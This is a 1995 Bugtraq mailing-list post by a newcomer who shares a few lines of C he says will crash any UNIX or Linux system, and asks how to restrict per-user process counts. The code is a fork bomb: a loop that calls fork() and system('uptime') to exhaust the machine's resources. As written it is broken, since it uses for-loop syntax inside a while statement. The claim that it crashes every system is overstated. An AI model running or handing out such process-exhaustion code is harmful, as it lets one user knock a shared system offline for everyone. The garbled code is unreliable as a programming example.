[2440] in bugtraq
fork()
daemon@ATHENA.MIT.EDU (Alex Leipold)
Mon Dec 11 04:50:29 1995
Date: Sun, 10 Dec 1995 10:45:37 -0500
Reply-To: Bugtraq List <BUGTRAQ@CRIMELAB.COM>
From: Alex Leipold <aleipold@clark.net>
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O'm new to the list, so Im not sure if this has been covered, but someone
can crash any system with a few lines of code. (tested on UNIX, LINUX)
main() {
int x;
while(x=0;x<1000000;x++)
{
system("uptime");
fork();
}
}
Gcc it, run it and whatever system your on will crash. Is their any way
to stop users from doing this? I.e. restricting number of process that
can run?
